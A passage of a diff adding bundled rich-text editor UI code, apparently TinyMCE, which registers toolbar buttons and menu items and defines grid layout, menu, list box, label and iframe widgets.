+        }
+      };
+    });
+  };
+  var register$4 = function (editor) {
+    var blocks = createFormats$1(editor.settings.block_formats || defaultBlocks);
+    editor.addMenuItem('blockformats', {
+      text: 'Blocks',
+      menu: buildMenuItems(editor, blocks)
+    });
+    editor.addButton('formatselect', lazyFormatSelectBoxItems(editor, blocks));
+  };
+  var $_fp0lmzx6jjgwefzy = { register: register$4 };
+
+  var createCustomMenuItems = function (editor, names) {
+    var items, nameList;
+    if (typeof names === 'string') {
+      nameList = names.split(' ');
+    } else if (global$2.isArray(names)) {
+      return flatten(global$2.map(names, function (names) {
+        return createCustomMenuItems(editor, names);
+      }));
+    }
+    items = global$2.grep(nameList, function (name) {
+      return name === '|' || name in editor.menuItems;
+    });
+    return global$2.map(items, function (name) {
+      return name === '|' ? { text: '-' } : editor.menuItems[name];
+    });
+  };
+  var isSeparator$1 = function (menuItem) {
+    return menuItem && menuItem.text === '-';
+  };
+  var trimMenuItems = function (menuItems) {
+    var menuItems2 = filter(menuItems, function (menuItem, i, menuItems) {
+      return !isSeparator$1(menuItem) || !isSeparator$1(menuItems[i - 1]);
+    });
+    return filter(menuItems2, function (menuItem, i, menuItems) {
+      return !isSeparator$1(menuItem) || i > 0 && i < menuItems.length - 1;
+    });
+  };
+  var createContextMenuItems = function (editor, context) {
+    var outputMenuItems = [{ text: '-' }];
+    var menuItems = global$2.grep(editor.menuItems, function (menuItem) {
+      return menuItem.context === context;
+    });
+    global$2.each(menuItems, function (menuItem) {
+      if (menuItem.separator === 'before') {
+        outputMenuItems.push({ text: '|' });
+      }
+      if (menuItem.prependToContext) {
+        outputMenuItems.unshift(menuItem);
+      } else {
+        outputMenuItems.push(menuItem);
+      }
+      if (menuItem.separator === 'after') {
+        outputMenuItems.push({ text: '|' });
+      }
+    });
+    return outputMenuItems;
+  };
+  var createInsertMenu = function (editor) {
+    var insertButtonItems = editor.settings.insert_button_items;
+    if (insertButtonItems) {
+      return trimMenuItems(createCustomMenuItems(editor, insertButtonItems));
+    } else {
+      return trimMenuItems(createContextMenuItems(editor, 'insert'));
+    }
+  };
+  var registerButtons$3 = function (editor) {
+    editor.addButton('insert', {
+      type: 'menubutton',
+      icon: 'insert',
+      menu: [],
+      oncreatemenu: function () {
+        this.menu.add(createInsertMenu(editor));
+        this.menu.renderNew();
+      }
+    });
+  };
+  var register$5 = function (editor) {
+    registerButtons$3(editor);
+  };
+  var $_4j2o4hx7jjgweg01 = { register: register$5 };
+
+  var registerFormatButtons = function (editor) {
+    global$2.each({
+      bold: 'Bold',
+      italic: 'Italic',
+      underline: 'Underline',
+      strikethrough: 'Strikethrough',
+      subscript: 'Subscript',
+      superscript: 'Superscript'
+    }, function (text, name) {
+      editor.addButton(name, {
+        active: false,
+        tooltip: text,
+        onPostRender: postRenderFormatToggle(editor, name),
+        onclick: toggleFormat(editor, name)
+      });
+    });
+  };
+  var registerCommandButtons = function (editor) {
+    global$2.each({
+      outdent: [
+        'Decrease indent',
+        'Outdent'
+      ],
+      indent: [
+        'Increase indent',
+        'Indent'
+      ],
+      cut: [
+        'Cut',
+        'Cut'
+      ],
+      copy: [
+        'Copy',
+        'Copy'
+      ],
+      paste: [
+        'Paste',
+        'Paste'
+      ],
+      help: [
+        'Help',
+        'mceHelp'
+      ],
+      selectall: [
+        'Select all',
+        'SelectAll'
+      ],
+      visualaid: [
+        'Visual aids',
+        'mceToggleVisualAid'
+      ],
+      newdocument: [
+        'New document',
+        'mceNewDocument'
+      ],
+      removeformat: [
+        'Clear formatting',
+        'RemoveFormat'
+      ],
+      remove: [
+        'Remove',
+        'Delete'
+      ]
+    }, function (item, name) {
+      editor.addButton(name, {
+        tooltip: item[0],
+        cmd: item[1]
+      });
+    });
+  };
+  var registerCommandToggleButtons = function (editor) {
+    global$2.each({
+      blockquote: [
+        'Blockquote',
+        'mceBlockQuote'
+      ],
+      subscript: [
+        'Subscript',
+        'Subscript'
+      ],
+      superscript: [
+        'Superscript',
+        'Superscript'
+      ]
+    }, function (item, name) {
+      editor.addButton(name, {
+        active: false,
+        tooltip: item[0],
+        cmd: item[1],
+        onPostRender: postRenderFormatToggle(editor, name)
+      });
+    });
+  };
+  var registerButtons$4 = function (editor) {
+    registerFormatButtons(editor);
+    registerCommandButtons(editor);
+    registerCommandToggleButtons(editor);
+  };
+  var registerMenuItems$1 = function (editor) {
+    global$2.each({
+      bold: [
+        'Bold',
+        'Bold',
+        'Meta+B'
+      ],
+      italic: [
+        'Italic',
+        'Italic',
+        'Meta+I'
+      ],
+      underline: [
+        'Underline',
+        'Underline',
+        'Meta+U'
+      ],
+      strikethrough: [
+        'Strikethrough',
+        'Strikethrough'
+      ],
+      subscript: [
+        'Subscript',
+        'Subscript'
+      ],
+      superscript: [
+        'Superscript',
+        'Superscript'
+      ],
+      removeformat: [
+        'Clear formatting',
+        'RemoveFormat'
+      ],
+      newdocument: [
+        'New document',
+        'mceNewDocument'
+      ],
+      cut: [
+        'Cut',
+        'Cut',
+        'Meta+X'
+      ],
+      copy: [
+        'Copy',
+        'Copy',
+        'Meta+C'
+      ],
+      paste: [
+        'Paste',
+        'Paste',
+        'Meta+V'
+      ],
+      selectall: [
+        'Select all',
+        'SelectAll',
+        'Meta+A'
+      ]
+    }, function (item, name) {
+      editor.addMenuItem(name, {
+        text: item[0],
+        icon: name,
+        shortcut: item[2],
+        cmd: item[1]
+      });
+    });
+    editor.addMenuItem('codeformat', {
+      text: 'Code',
+      icon: 'code',
+      onclick: toggleFormat(editor, 'code')
+    });
+  };
+  var register$6 = function (editor) {
+    registerButtons$4(editor);
+    registerMenuItems$1(editor);
+  };
+  var $_c2lkymx8jjgweg05 = { register: register$6 };
+
+  var toggleUndoRedoState = function (editor, type) {
+    return function () {
+      var self = this;
+      var checkState = function () {
+        var typeFn = type === 'redo' ? 'hasRedo' : 'hasUndo';
+        return editor.undoManager ? editor.undoManager[typeFn]() : false;
+      };
+      self.disabled(!checkState());
+      editor.on('Undo Redo AddUndo TypingUndo ClearUndos SwitchMode', function () {
+        self.disabled(editor.readonly || !checkState());
+      });
+    };
+  };
+  var registerMenuItems$2 = function (editor) {
+    editor.addMenuItem('undo', {
+      text: 'Undo',
+      icon: 'undo',
+      shortcut: 'Meta+Z',
+      onPostRender: toggleUndoRedoState(editor, 'undo'),
+      cmd: 'undo'
+    });
+    editor.addMenuItem('redo', {
+      text: 'Redo',
+      icon: 'redo',
+      shortcut: 'Meta+Y',
+      onPostRender: toggleUndoRedoState(editor, 'redo'),
+      cmd: 'redo'
+    });
+  };
+  var registerButtons$5 = function (editor) {
+    editor.addButton('undo', {
+      tooltip: 'Undo',
+      onPostRender: toggleUndoRedoState(editor, 'undo'),
+      cmd: 'undo'
+    });
+    editor.addButton('redo', {
+      tooltip: 'Redo',
+      onPostRender: toggleUndoRedoState(editor, 'redo'),
+      cmd: 'redo'
+    });
+  };
+  var register$7 = function (editor) {
+    registerMenuItems$2(editor);
+    registerButtons$5(editor);
+  };
+  var $_9h432jx9jjgweg07 = { register: register$7 };
+
+  var toggleVisualAidState = function (editor) {
+    return function () {
+      var self = this;
+      editor.on('VisualAid', function (e) {
+        self.active(e.hasVisual);
+      });
+      self.active(editor.hasVisual);
+    };
+  };
+  var registerMenuItems$3 = function (editor) {
+    editor.addMenuItem('visualaid', {
+      text: 'Visual aids',
+      selectable: true,
+      onPostRender: toggleVisualAidState(editor),
+      cmd: 'mceToggleVisualAid'
+    });
+  };
+  var register$8 = function (editor) {
+    registerMenuItems$3(editor);
+  };
+  var $_eoil5jxajjgweg09 = { register: register$8 };
+
+  var setupEnvironment = function () {
+    Widget.tooltips = !global$8.iOS;
+    Control$1.translate = function (text) {
+      return global$1.translate(text);
+    };
+  };
+  var setupUiContainer = function (editor) {
+    if (editor.settings.ui_container) {
+      global$8.container = $_4ftvxwwyjjgwefz3.descendant(Element$$1.fromDom(document.body), editor.settings.ui_container).fold(constant(null), function (elm) {
+        return elm.dom();
+      });
+    }
+  };
+  var setupRtlMode = function (editor) {
+    if (editor.rtl) {
+      Control$1.rtl = true;
+    }
+  };
+  var setupHideFloatPanels = function (editor) {
+    editor.on('mousedown', function () {
+      FloatPanel.hideAll();
+    });
+  };
+  var setup$1 = function (editor) {
+    setupRtlMode(editor);
+    setupHideFloatPanels(editor);
+    setupUiContainer(editor);
+    setupEnvironment();
+    $_fp0lmzx6jjgwefzy.register(editor);
+    $_cz4u4px1jjgwefzl.register(editor);
+    $_c2lkymx8jjgweg05.register(editor);
+    $_9h432jx9jjgweg07.register(editor);
+    $_9a6bd5x4jjgwefzr.register(editor);
+    $_f7ngpex3jjgwefzo.register(editor);
+    $_ejzqp9x5jjgwefzu.register(editor);
+    $_eoil5jxajjgweg09.register(editor);
+    $_4j2o4hx7jjgweg01.register(editor);
+  };
+  var $_5heykgwxjjgwefyx = { setup: setup$1 };
+
+  var GridLayout = AbsoluteLayout.extend({
+    recalc: function (container) {
+      var settings, rows, cols, items, contLayoutRect, width, height, rect, ctrlLayoutRect, ctrl, x, y, posX, posY, ctrlSettings, contPaddingBox, align, spacingH, spacingV, alignH, alignV, maxX, maxY;
+      var colWidths = [];
+      var rowHeights = [];
+      var ctrlMinWidth, ctrlMinHeight, availableWidth, availableHeight, reverseRows, idx;
+      settings = container.settings;
+      items = container.items().filter(':visible');
+      contLayoutRect = container.layoutRect();
+      cols = settings.columns || Math.ceil(Math.sqrt(items.length));
+      rows = Math.ceil(items.length / cols);
+      spacingH = settings.spacingH || settings.spacing || 0;
+      spacingV = settings.spacingV || settings.spacing || 0;
+      alignH = settings.alignH || settings.align;
+      alignV = settings.alignV || settings.align;
+      contPaddingBox = container.paddingBox;
+      reverseRows = 'reverseRows' in settings ? settings.reverseRows : container.isRtl();
+      if (alignH && typeof alignH === 'string') {
+        alignH = [alignH];
+      }
+      if (alignV && typeof alignV === 'string') {
+        alignV = [alignV];
+      }
+      for (x = 0; x < cols; x++) {
+        colWidths.push(0);
+      }
+      for (y = 0; y < rows; y++) {
+        rowHeights.push(0);
+      }
+      for (y = 0; y < rows; y++) {
+        for (x = 0; x < cols; x++) {
+          ctrl = items[y * cols + x];
+          if (!ctrl) {
+            break;
+          }
+          ctrlLayoutRect = ctrl.layoutRect();
+          ctrlMinWidth = ctrlLayoutRect.minW;
+          ctrlMinHeight = ctrlLayoutRect.minH;
+          colWidths[x] = ctrlMinWidth > colWidths[x] ? ctrlMinWidth : colWidths[x];
+          rowHeights[y] = ctrlMinHeight > rowHeights[y] ? ctrlMinHeight : rowHeights[y];
+        }
+      }
+      availableWidth = contLayoutRect.innerW - contPaddingBox.left - contPaddingBox.right;
+      for (maxX = 0, x = 0; x < cols; x++) {
+        maxX += colWidths[x] + (x > 0 ? spacingH : 0);
+        availableWidth -= (x > 0 ? spacingH : 0) + colWidths[x];
+      }
+      availableHeight = contLayoutRect.innerH - contPaddingBox.top - contPaddingBox.bottom;
+      for (maxY = 0, y = 0; y < rows; y++) {
+        maxY += rowHeights[y] + (y > 0 ? spacingV : 0);
+        availableHeight -= (y > 0 ? spacingV : 0) + rowHeights[y];
+      }
+      maxX += contPaddingBox.left + contPaddingBox.right;
+      maxY += contPaddingBox.top + contPaddingBox.bottom;
+      rect = {};
+      rect.minW = maxX + (contLayoutRect.w - contLayoutRect.innerW);
+      rect.minH = maxY + (contLayoutRect.h - contLayoutRect.innerH);
+      rect.contentW = rect.minW - contLayoutRect.deltaW;
+      rect.contentH = rect.minH - contLayoutRect.deltaH;
+      rect.minW = Math.min(rect.minW, contLayoutRect.maxW);
+      rect.minH = Math.min(rect.minH, contLayoutRect.maxH);
+      rect.minW = Math.max(rect.minW, contLayoutRect.startMinWidth);
+      rect.minH = Math.max(rect.minH, contLayoutRect.startMinHeight);
+      if (contLayoutRect.autoResize && (rect.minW !== contLayoutRect.minW || rect.minH !== contLayoutRect.minH)) {
+        rect.w = rect.minW;
+        rect.h = rect.minH;
+        container.layoutRect(rect);
+        this.recalc(container);
+        if (container._lastRect === null) {
+          var parentCtrl = container.parent();
+          if (parentCtrl) {
+            parentCtrl._lastRect = null;
+            parentCtrl.recalc();
+          }
+        }
+        return;
+      }
+      if (contLayoutRect.autoResize) {
+        rect = container.layoutRect(rect);
+        rect.contentW = rect.minW - contLayoutRect.deltaW;
+        rect.contentH = rect.minH - contLayoutRect.deltaH;
+      }
+      var flexV;
+      if (settings.packV === 'start') {
+        flexV = 0;
+      } else {
+        flexV = availableHeight > 0 ? Math.floor(availableHeight / rows) : 0;
+      }
+      var totalFlex = 0;
+      var flexWidths = settings.flexWidths;
+      if (flexWidths) {
+        for (x = 0; x < flexWidths.length; x++) {
+          totalFlex += flexWidths[x];
+        }
+      } else {
+        totalFlex = cols;
+      }
+      var ratio = availableWidth / totalFlex;
+      for (x = 0; x < cols; x++) {
+        colWidths[x] += flexWidths ? flexWidths[x] * ratio : ratio;
+      }
+      posY = contPaddingBox.top;
+      for (y = 0; y < rows; y++) {
+        posX = contPaddingBox.left;
+        height = rowHeights[y] + flexV;
+        for (x = 0; x < cols; x++) {
+          if (reverseRows) {
+            idx = y * cols + cols - 1 - x;
+          } else {
+            idx = y * cols + x;
+          }
+          ctrl = items[idx];
+          if (!ctrl) {
+            break;
+          }
+          ctrlSettings = ctrl.settings;
+          ctrlLayoutRect = ctrl.layoutRect();
+          width = Math.max(colWidths[x], ctrlLayoutRect.startMinWidth);
+          ctrlLayoutRect.x = posX;
+          ctrlLayoutRect.y = posY;
+          align = ctrlSettings.alignH || (alignH ? alignH[x] || alignH[0] : null);
+          if (align === 'center') {
+            ctrlLayoutRect.x = posX + width / 2 - ctrlLayoutRect.w / 2;
+          } else if (align === 'right') {
+            ctrlLayoutRect.x = posX + width - ctrlLayoutRect.w;
+          } else if (align === 'stretch') {
+            ctrlLayoutRect.w = width;
+          }
+          align = ctrlSettings.alignV || (alignV ? alignV[x] || alignV[0] : null);
+          if (align === 'center') {
+            ctrlLayoutRect.y = posY + height / 2 - ctrlLayoutRect.h / 2;
+          } else if (align === 'bottom') {
+            ctrlLayoutRect.y = posY + height - ctrlLayoutRect.h;
+          } else if (align === 'stretch') {
+            ctrlLayoutRect.h = height;
+          }
+          ctrl.layoutRect(ctrlLayoutRect);
+          posX += width + spacingH;
+          if (ctrl.recalc) {
+            ctrl.recalc();
+          }
+        }
+        posY += height + spacingV;
+      }
+    }
+  });
+
+  var Iframe$1 = Widget.extend({
+    renderHtml: function () {
+      var self = this;
+      self.classes.add('iframe');
+      self.canFocus = false;
+      return '<iframe id="' + self._id + '" class="' + self.classes + '" tabindex="-1" src="' + (self.settings.url || 'javascript:\'\'') + '" frameborder="0"></iframe>';
+    },
+    src: function (src) {
+      this.getEl().src = src;
+    },
+    html: function (html, callback) {
+      var self = this, body = this.getEl().contentWindow.document.body;
+      if (!body) {
+        global$7.setTimeout(function () {
+          self.html(html);
+        });
+      } else {
+        body.innerHTML = html;
+        if (callback) {
+          callback();
+        }
+      }
+      return this;
+    }
+  });
+
+  var InfoBox = Widget.extend({
+    init: function (settings) {
+      var self = this;
+      self._super(settings);
+      self.classes.add('widget').add('infobox');
+      self.canFocus = false;
+    },
+    severity: function (level) {
+      this.classes.remove('error');
+      this.classes.remove('warning');
+      this.classes.remove('success');
+      this.classes.add(level);
+    },
+    help: function (state) {
+      this.state.set('help', state);
+    },
+    renderHtml: function () {
+      var self = this, prefix = self.classPrefix;
+      return '<div id="' + self._id + '" class="' + self.classes + '">' + '<div id="' + self._id + '-body">' + self.encode(self.state.get('text')) + '<button role="button" tabindex="-1">' + '<i class="' + prefix + 'ico ' + prefix + 'i-help"></i>' + '</button>' + '</div>' + '</div>';
+    },
+    bindStates: function () {
+      var self = this;
+      self.state.on('change:text', function (e) {
+        self.getEl('body').firstChild.data = self.encode(e.value);
+        if (self.state.get('rendered')) {
+          self.updateLayoutRect();
+        }
+      });
+      self.state.on('change:help', function (e) {
+        self.classes.toggle('has-help', e.value);
+        if (self.state.get('rendered')) {
+          self.updateLayoutRect();
+        }
+      });
+      return self._super();
+    }
+  });
+
+  var Label = Widget.extend({
+    init: function (settings) {
+      var self = this;
+      self._super(settings);
+      self.classes.add('widget').add('label');
+      self.canFocus = false;
+      if (settings.multiline) {
+        self.classes.add('autoscroll');
+      }
+      if (settings.strong) {
+        self.classes.add('strong');
+      }
+    },
+    initLayoutRect: function () {
+      var self = this, layoutRect = self._super();
+      if (self.settings.multiline) {
+        var size = funcs.getSize(self.getEl());
+        if (size.width > layoutRect.maxW) {
+          layoutRect.minW = layoutRect.maxW;
+          self.classes.add('multiline');
+        }
+        self.getEl().style.width = layoutRect.minW + 'px';
+        layoutRect.startMinH = layoutRect.h = layoutRect.minH = Math.min(layoutRect.maxH, funcs.getSize(self.getEl()).height);
+      }
+      return layoutRect;
+    },
+    repaint: function () {
+      var self = this;
+      if (!self.settings.multiline) {
+        self.getEl().style.lineHeight = self.layoutRect().h + 'px';
+      }
+      return self._super();
+    },
+    severity: function (level) {
+      this.classes.remove('error');
+      this.classes.remove('warning');
+      this.classes.remove('success');
+      this.classes.add(level);
+    },
+    renderHtml: function () {
+      var self = this;
+      var targetCtrl, forName, forId = self.settings.forId;
+      var text = self.settings.html ? self.settings.html : self.encode(self.state.get('text'));
+      if (!forId && (forName = self.settings.forName)) {
+        targetCtrl = self.getRoot().find('#' + forName)[0];
+        if (targetCtrl) {
+          forId = targetCtrl._id;
+        }
+      }
+      if (forId) {
+        return '<label id="' + self._id + '" class="' + self.classes + '"' + (forId ? ' for="' + forId + '"' : '') + '>' + text + '</label>';
+      }
+      return '<span id="' + self._id + '" class="' + self.classes + '">' + text + '</span>';
+    },
+    bindStates: function () {
+      var self = this;
+      self.state.on('change:text', function (e) {
+        self.innerHtml(self.encode(e.value));
+        if (self.state.get('rendered')) {
+          self.updateLayoutRect();
+        }
+      });
+      return self._super();
+    }
+  });
+
+  var Toolbar$1 = Container.extend({
+    Defaults: {
+      role: 'toolbar',
+      layout: 'flow'
+    },
+    init: function (settings) {
+      var self = this;
+      self._super(settings);
+      self.classes.add('toolbar');
+    },
+    postRender: function () {
+      var self = this;
+      self.items().each(function (ctrl) {
+        ctrl.classes.add('toolbar-item');
+      });
+      return self._super();
+    }
+  });
+
+  var MenuBar = Toolbar$1.extend({
+    Defaults: {
+      role: 'menubar',
+      containerCls: 'menubar',
+      ariaRoot: true,
+      defaults: { type: 'menubutton' }
+    }
+  });
+
+  function isChildOf$1(node, parent$$1) {
+    while (node) {
+      if (parent$$1 === node) {
+        return true;
+      }
+      node = node.parentNode;
+    }
+    return false;
+  }
+  var MenuButton = Button.extend({
+    init: function (settings) {
+      var self$$1 = this;
+      self$$1._renderOpen = true;
+      self$$1._super(settings);
+      settings = self$$1.settings;
+      self$$1.classes.add('menubtn');
+      if (settings.fixedWidth) {
+        self$$1.classes.add('fixed-width');
+      }
+      self$$1.aria('haspopup', true);
+      self$$1.state.set('menu', settings.menu || self$$1.render());
+    },
+    showMenu: function (toggle) {
+      var self$$1 = this;
+      var menu;
+      if (self$$1.menu && self$$1.menu.visible() && toggle !== false) {
+        return self$$1.hideMenu();
+      }
+      if (!self$$1.menu) {
+        menu = self$$1.state.get('menu') || [];
+        self$$1.classes.add('opened');
+        if (menu.length) {
+          menu = {
+            type: 'menu',
+            animate: true,
+            items: menu
+          };
+        } else {
+          menu.type = menu.type || 'menu';
+          menu.animate = true;
+        }
+        if (!menu.renderTo) {
+          self$$1.menu = global$4.create(menu).parent(self$$1).renderTo();
+        } else {
+          self$$1.menu = menu.parent(self$$1).show().renderTo();
+        }
+        self$$1.fire('createmenu');
+        self$$1.menu.reflow();
+        self$$1.menu.on('cancel', function (e) {
+          if (e.control.parent() === self$$1.menu) {
+            e.stopPropagation();
+            self$$1.focus();
+            self$$1.hideMenu();
+          }
+        });
+        self$$1.menu.on('select', function () {
+          self$$1.focus();
+        });
+        self$$1.menu.on('show hide', function (e) {
+          if (e.control === self$$1.menu) {
+            self$$1.activeMenu(e.type === 'show');
+            self$$1.classes.toggle('opened', e.type === 'show');
+          }
+          self$$1.aria('expanded', e.type === 'show');
+        }).fire('show');
+      }
+      self$$1.menu.show();
+      self$$1.menu.layoutRect({ w: self$$1.layoutRect().w });
+      self$$1.menu.repaint();
+      self$$1.menu.moveRel(self$$1.getEl(), self$$1.isRtl() ? [
+        'br-tr',
+        'tr-br'
+      ] : [
+        'bl-tl',
+        'tl-bl'
+      ]);
+      self$$1.fire('showmenu');
+    },
+    hideMenu: function () {
+      var self$$1 = this;
+      if (self$$1.menu) {
+        self$$1.menu.items().each(function (item) {
+          if (item.hideMenu) {
+            item.hideMenu();
+          }
+        });
+        self$$1.menu.hide();
+      }
+    },
+    activeMenu: function (state) {
+      this.classes.toggle('active', state);
+    },
+    renderHtml: function () {
+      var self$$1 = this, id = self$$1._id, prefix = self$$1.classPrefix;
+      var icon = self$$1.settings.icon, image;
+      var text = self$$1.state.get('text');
+      var textHtml = '';
+      image = self$$1.settings.image;
+      if (image) {
+        icon = 'none';
+        if (typeof image !== 'string') {
+          image = window.getSelection ? image[0] : image[1];
+        }
+        image = ' style="background-image: url(\'' + image + '\')"';
+      } else {
+        image = '';
+      }
+      if (text) {
+        self$$1.classes.add('btn-has-text');
+        textHtml = '<span class="' + prefix + 'txt">' + self$$1.encode(text) + '</span>';
+      }
+      icon = self$$1.settings.icon ? prefix + 'ico ' + prefix + 'i-' + icon : '';
+      self$$1.aria('role', self$$1.parent() instanceof MenuBar ? 'menuitem' : 'button');
+      return '<div id="' + id + '" class="' + self$$1.classes + '" tabindex="-1" aria-labelledby="' + id + '">' + '<button id="' + id + '-open" role="presentation" type="button" tabindex="-1">' + (icon ? '<i class="' + icon + '"' + image + '></i>' : '') + textHtml + ' <i class="' + prefix + 'caret"></i>' + '</button>' + '</div>';
+    },
+    postRender: function () {
+      var self$$1 = this;
+      self$$1.on('click', function (e) {
+        if (e.control === self$$1 && isChildOf$1(e.target, self$$1.getEl())) {
+          self$$1.focus();
+          self$$1.showMenu(!e.aria);
+          if (e.aria) {
+            self$$1.menu.items().filter(':visible')[0].focus();
+          }
+        }
+      });
+      self$$1.on('mouseenter', function (e) {
+        var overCtrl = e.control;
+        var parent$$1 = self$$1.parent();
+        var hasVisibleSiblingMenu;
+        if (overCtrl && parent$$1 && overCtrl instanceof MenuButton && overCtrl.parent() === parent$$1) {
+          parent$$1.items().filter('MenuButton').each(function (ctrl) {
+            if (ctrl.hideMenu && ctrl !== overCtrl) {
+              if (ctrl.menu && ctrl.menu.visible()) {
+                hasVisibleSiblingMenu = true;
+              }
+              ctrl.hideMenu();
+            }
+          });
+          if (hasVisibleSiblingMenu) {
+            overCtrl.focus();
+            overCtrl.showMenu();
+          }
+        }
+      });
+      return self$$1._super();
+    },
+    bindStates: function () {
+      var self$$1 = this;
+      self$$1.state.on('change:menu', function () {
+        if (self$$1.menu) {
+          self$$1.menu.remove();
+        }
+        self$$1.menu = null;
+      });
+      return self$$1._super();
+    },
+    remove: function () {
+      this._super();
+      if (this.menu) {
+        this.menu.remove();
+      }
+    }
+  });
+
+  var Menu = FloatPanel.extend({
+    Defaults: {
+      defaultType: 'menuitem',
+      border: 1,
+      layout: 'stack',
+      role: 'application',
+      bodyRole: 'menu',
+      ariaRoot: true
+    },
+    init: function (settings) {
+      var self = this;
+      settings.autohide = true;
+      settings.constrainToViewport = true;
+      if (typeof settings.items === 'function') {
+        settings.itemsFactory = settings.items;
+        settings.items = [];
+      }
+      if (settings.itemDefaults) {
+        var items = settings.items;
+        var i = items.length;
+        while (i--) {
+          items[i] = global$2.extend({}, settings.itemDefaults, items[i]);
+        }
+      }
+      self._super(settings);
+      self.classes.add('menu');
+      if (settings.animate && global$8.ie !== 11) {
+        self.classes.add('animate');
+      }
+    },
+    repaint: function () {
+      this.classes.toggle('menu-align', true);
+      this._super();
+      this.getEl().style.height = '';
+      this.getEl('body').style.height = '';
+      return this;
+    },
+    cancel: function () {
+      var self = this;
+      self.hideAll();
+      self.fire('select');
+    },
+    load: function () {
+      var self = this;
+      var time, factory;
+      function hideThrobber() {
+        if (self.throbber) {
+          self.throbber.hide();
+          self.throbber = null;
+        }
+      }
+      factory = self.settings.itemsFactory;
+      if (!factory) {
+        return;
+      }
+      if (!self.throbber) {
+        self.throbber = new Throbber(self.getEl('body'), true);
+        if (self.items().length === 0) {
+          self.throbber.show();
+          self.fire('loading');
+        } else {
+          self.throbber.show(100, function () {
+            self.items().remove();
+            self.fire('loading');
+          });
+        }
+        self.on('hide close', hideThrobber);
+      }
+      self.requestTime = time = new Date().getTime();
+      self.settings.itemsFactory(function (items) {
+        if (items.length === 0) {
+          self.hide();
+          return;
+        }
+        if (self.requestTime !== time) {
+          return;
+        }
+        self.getEl().style.width = '';
+        self.getEl('body').style.width = '';
+        hideThrobber();
+        self.items().remove();
+        self.getEl('body').innerHTML = '';
+        self.add(items);
+        self.renderNew();
+        self.fire('loaded');
+      });
+    },
+    hideAll: function () {
+      var self = this;
+      this.find('menuitem').exec('hideMenu');
+      return self._super();
+    },
+    preRender: function () {
+      var self = this;
+      self.items().each(function (ctrl) {
+        var settings = ctrl.settings;
+        if (settings.icon || settings.image || settings.selectable) {
+          self._hasIcons = true;
+          return false;
+        }
+      });
+      if (self.settings.itemsFactory) {
+        self.on('postrender', function () {
+          if (self.settings.itemsFactory) {
+            self.load();
+          }
+        });
+      }
+      self.on('show hide', function (e) {
+        if (e.control === self) {
+          if (e.type === 'show') {
+            global$7.setTimeout(function () {
+              self.classes.add('in');
+            }, 0);
+          } else {
+            self.classes.remove('in');
+          }
+        }
+      });
+      return self._super();
+    }
+  });
+
+  var ListBox = MenuButton.extend({
+    init: function (settings) {
+      var self = this;
+      var values, selected, selectedText, lastItemCtrl;
+      function setSelected(menuValues) {
+        for (var i = 0; i < menuValues.length; i++) {
+          selected = menuValues[i].selected || settings.value === menuValues[i].value;
+          if (selected) {
+            selectedText = selectedText || menuValues[i].text;
+            self.state.set('value', menuValues[i].value);
+            return true;
+          }
+          if (menuValues[i].menu) {
+            if (setSelected(menuValues[i].menu)) {
+              return true;
+            }
+          }
+        }
+      }
+      self._super(settings);
+      settings = self.settings;
+      self._values = values = settings.values;
+      if (values) {
+        if (typeof settings.value !== 'undefined') {
+          setSelected(values);
+        }
+        if (!selected && values.length > 0) {
+          selectedText = values[0].text;
+          self.state.set('value', values[0].value);
+        }
+        self.state.set('menu', values);
+      }
+      self.state.set('text', settings.text || selectedText);
+      self.classes.add('listbox');
+      self.on('select', function (e) {
+        var ctrl = e.control;
+        if (lastItemCtrl) {
+          e.lastControl = lastItemCtrl;
+        }
+        if (settings.multiple) {
+          ctrl.active(!ctrl.active());
+        } else {
+          self.value(e.control.value());
+        }
+        lastItemCtrl = ctrl;
+      });
+    },
+    value: function (value) {
+      if (arguments.length === 0) {
+        return this.state.get('value');
+      }
+      if (typeof value === 'undefined') {
+        return this;
+      }
+      if (this.settings.values) {
+        var matchingValues = global$2.grep(this.settings.values, function (a) {
+          return a.value === value;
+        });
+        if (matchingValues.length > 0) {
+          this.state.set('value', value);
+        } else if (value === null) {
+          this.state.set('value', null);
+        }
+      } else {
+        this.state.set('value', value);
+      }
+      return this;
+    },
+    bindStates: function () {
+      var self = this;
+      function activateMenuItemsByValue(menu, value) {
+        if (menu instanceof Menu) {
+          menu.items().each(function (ctrl) {
+            if (!ctrl.hasMenus()) {
+              ctrl.active(ctrl.value() === value);
+            }
+          });
+        }
+      }
+      function getSelectedItem(menuValues, value) {
+        var selectedItem;
+        if (!menuValues) {
+          return;
+        }
+        for (var i = 0; i < menuValues.length; i++) {
+          if (menuValues[i].value === value) {
+            return menuValues[i];
+          }
+          if (menuValues[i].menu) {
+            selectedItem = getSelectedItem(menuValues[i].menu, value);
+            if (selectedItem) {
+              return selectedItem;
+            }
+          }
+        }
+      }
+      self.on('show', function (e) {
+        activateMenuItemsByValue(e.control, self.value());
+      });
+      self.state.on('change:value', function (e) {
+        var selectedItem = getSelectedItem(self.state.get('menu'), e.value);
+        if (selectedItem) {
+          self.text(selectedItem.text);
+        } else {
+          self.text(self.settings.text);
+        }
+      });
+      return self._super();
+    }
+  });
+
+  var toggleTextStyle = function (ctrl, state) {
+    var textStyle = ctrl._textStyle;
+    if (textStyle) {
+      var textElm = ctrl.getEl('text');
+      textElm.setAttribute('style', textStyle);
+      if (state) {
+        textElm.style.color = '';
+        textElm.style.backgroundColor = '';
+      }
+    }
+  };
+  var MenuItem = Widget.extend({
+    Defaults: {
+      border: 0,
+      role: 'menuitem'
+    },
+    init: function (settings) {
+      var self = this;
+      var text;
+      self._super(settings);
+      settings = self.settings;
+      self.classes.add('menu-item');
+      if (settings.menu) {
+        self.classes.add('menu-item-expand');
+      }
+      if (settings.preview) {
+        self.classes.add('menu-item-preview');
+      }
+      text = self.state.get('text');
+      if (text === '-' || text === '|') {
+        self.classes.add('menu-item-sep');
+        self.aria('role', 'separator');
+        self.state.set('text', '-');
+      }
+      if (settings.selectable) {
+        self.aria('role', 'menuitemcheckbox');
+        self.classes.add('menu-item-checkbox');
+        settings.icon = 'selected';
+      }
+      if (!settings.preview && !settings.selectable) {
+        self.classes.add('menu-item-normal');
+      }
+      self.on('mousedown', function (e) {
+        e.preventDefault();
+      });
+      if (settings.menu && !settings.ariaHideMenu) {
+        self.aria('haspopup', true);
+      }
+    },
+    hasMenus: function () {
+      return !!this.settings.menu;
+    },
+    showMenu: function () {
+      var self = this;
+      var settings = self.settings;
+      var menu;
+      var parent = self.parent();
+      parent.items().each(function (ctrl) {
+        if (ctrl !== self) {
+          ctrl.hideMenu();
+        }
+      });
+      if (settings.menu) {
+        menu = self.menu;
+        if (!menu) {
+          menu = settings.menu;
+          if (menu.length) {
+            menu = {
